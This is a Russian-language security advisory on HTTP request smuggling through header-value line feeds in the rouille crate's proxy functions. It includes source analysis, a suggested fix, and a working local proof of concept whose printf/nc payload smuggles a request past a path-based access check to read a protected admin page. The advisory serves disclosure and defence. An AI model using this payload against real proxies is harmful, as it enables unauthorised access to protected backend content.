
Security Advisory: HTTP Request Smuggling Enables Front-End Access Control Bypass (rouille)
Назначенный идентификатор CVE: CVE-2026-67182
rouille::proxy::proxy и rouille::proxy::full_proxy копируют значения заголовков запроса, переданные клиентом, в подключение к вышестоящему серверу без проверки на управляющие символы. Значение заголовка может на законных основаниях содержать одиночный перевод строки (0x0A), поскольку базовый парсер заголовков tiny_http завершает строку заголовка только на CRLF. Поэтому бэкенды, принимающие одиночный LF в качестве завершителя строки, читают один запрос фронтенда как два.
Второй запрос полностью управляется атакующим, включая его метод и путь, и никогда не проходит через обработчик rouille, который решил проксировать первый запрос. Тело его ответа также возвращается атакующему.
URL репозитория: https://github.com/tomaka/rouille
| Первая затронутая | 0.3.3 (2016-12-03), релиз, в котором появился src/proxy.rs |
| Последняя затронутая | 3.6.2 (2023-04-24), текущий релиз |
| Не затронутые | 0.3.2 и более ранние, в которых нет модуля proxy |
| Исправлено в | на момент написания исправленной версии нет |
Каждый опубликованный релиз с 0.3.3 по 3.6.2 содержит неизменённый код. Файл src/proxy.rs побайтово идентичен между тегом 3.6.2 и текущей веткой master.
Затронуты только приложения, которые вызывают proxy::proxy или proxy::full_proxy.
CWE-444 (Несогласованная интерпретация HTTP-запросов), достигаемая через CWE-113 (Некорректная нейтрализация CRLF-последовательностей в HTTP-заголовках).
Базовый балл CVSS 4.0: 6.9 (средний)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N
Атакующий — удалённый неаутентифицированный клиент, который может отправлять сырые HTTP-запросы на сервер rouille. Не требуются учётные данные, взаимодействие с пользователем или позиция в сети между компонентами.
Под риском находится приложение rouille, работающее как обратный прокси, которое принимает решение по безопасности (маршрутизация, аутентификация, авторизация или фильтрация контента) до вызова proxy(), перед бэкендом, чей HTTP-парсер принимает одиночный LF в качестве завершения строки заголовка.
Измеренное поведение бэкендов:
nginx и Apache не тестировались. RFC 9112, раздел 2.2, разрешает получателю распознавать одиночный LF как завершитель строки, поэтому принимающие бэкенды действуют в рамках спецификации.
rouille/src/proxy.rs, строки 157–174:
157 for (header, value) in request.headers() {
158 let value = if header == "Host" {
159 if let Some(ref replace) = config.replace_host {
160 &**replace
161 } else {
162 value
163 }
164 } else {
165 value
166 };
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
Строка 171 — это сток (sink). value недоверенное и записывается без проверки.
Недоверенные данные (taint) проникают через tiny_http. В tiny_http-0.12.0/src/client.rs, строки 80–102, строка заголовка завершается только тогда, когда за CR следует LF:
92 if byte == b'\n' && prev_byte_was_cr {
93 buf.pop(); // removing the '\r'
94 return AsciiString::from_ascii(buf)
95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
96 }
97
98 prev_byte_was_cr = byte == b'\r';
99
100 buf.push(byte);
Одиночный LF проходит до строки 100 и помещается в буфер строки. LF — допустимый ASCII, поэтому AsciiString::from_ascii принимает его. Header::from_str в tiny_http-0.12.0/src/common.rs на строке 184 затем только обрезает значение, удаляя ведущие и завершающие пробельные символы, но оставляя внутренние байты нетронутыми:
187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188 let value = elems
189 .next()
190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191 .ok_or(())?;
В результате значение заголовка rouille содержит сырой \n, и строка 171 proxy.rs записывает его прямо в запрос к вышестоящему серверу.
Заголовок Connection: close в строке 173 не спасает ситуацию. Внедрённая пустая строка завершает первый запрос до выполнения строки 173, поэтому этот заголовок поглощается внедрённым запросом. Первый запрос не несёт заголовка Connection и по умолчанию использует keep-alive HTTP/1.1, что как раз позволяет бэкенду продолжить обработку второго запроса.
Шаг 1. Создайте корневой каталог документов бэкенда с публичным файлом и файлом, который прокси должен защищать.
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE" > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html
Шаг 2. Запустите бэкенд с поддержкой keep-alive на порту 8001.
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, f, *a):
sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'
Шаг 3. Запустите фронтенд rouille на порту 8000. Он проксирует /public/ и отклоняет всё остальное.
use rouille::{proxy, Response};
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
if !request.url().starts_with("/public/") {
return Response::text("forbidden").with_status_code(403);
}
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
Шаг 4. Убедитесь, что контроль доступа работает.
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
HTTP/1.1 403 Forbidden
Шаг 5. Отправьте один запрос к разрешённому пути, содержащий одиночный LF внутри значения заголовка. В команде ниже \n — это одиночный перевод строки, а \r\n — CRLF. Это различие и есть вся атака, поэтому не позволяйте редактору нормализовать его.
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000
Результат. Журнал бэкенда показывает два запроса, причём второй — это путь, который фронтенд отклонил на шаге 4:
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -
Атакующий также получает защищённый контент, поскольку строка 224 src/proxy.rs превращает остаток данных из сокета вышестоящего сервера в тело ответа:
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked
d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18
SECRET ADMIN PAGE
Неаутентифицированный клиент может отправить произвольный запрос бэкенду и прочитать его ответ, тогда как обработчик rouille видит только разрешённый запрос. Это обходит контроль доступа на основе пути, аутентификацию, выполняемую в обработчике, и любую проверку запроса, выполняемую до вызова proxy().
Стоит отметить два ограничения. proxy() открывает новое TCP-соединение для каждого запроса и не использует пул соединений, поэтому здесь нет отравления очереди запросов между пользователями, характерного для классического смагглинга. Кроме того, атаке нужен бэкенд, допускающий LF, как показано в замерах выше.
Отклоняйте имена и значения заголовков, содержащие управляющие символы, перед записью их вышестоящему серверу. В src/proxy.rs, внутри цикла на строке 157:
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
|| value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
return Err(ProxyError::HttpParseError);
}
| Бэкенд | Протестированная версия | Принимает внедрённый LF |
|---|
Go net/http | go1.26.4 | да, обслуживает внедрённый запрос |
Python http.server (protocol_version = "HTTP/1.1") | CPython 3.13 | да, обслуживает внедрённый запрос |
| Node.js | v26.3.0 | нет, возвращает 400 (строгий режим llhttp) |
| PHP built-in server | 8.5.8 | нет, разрывает соединение |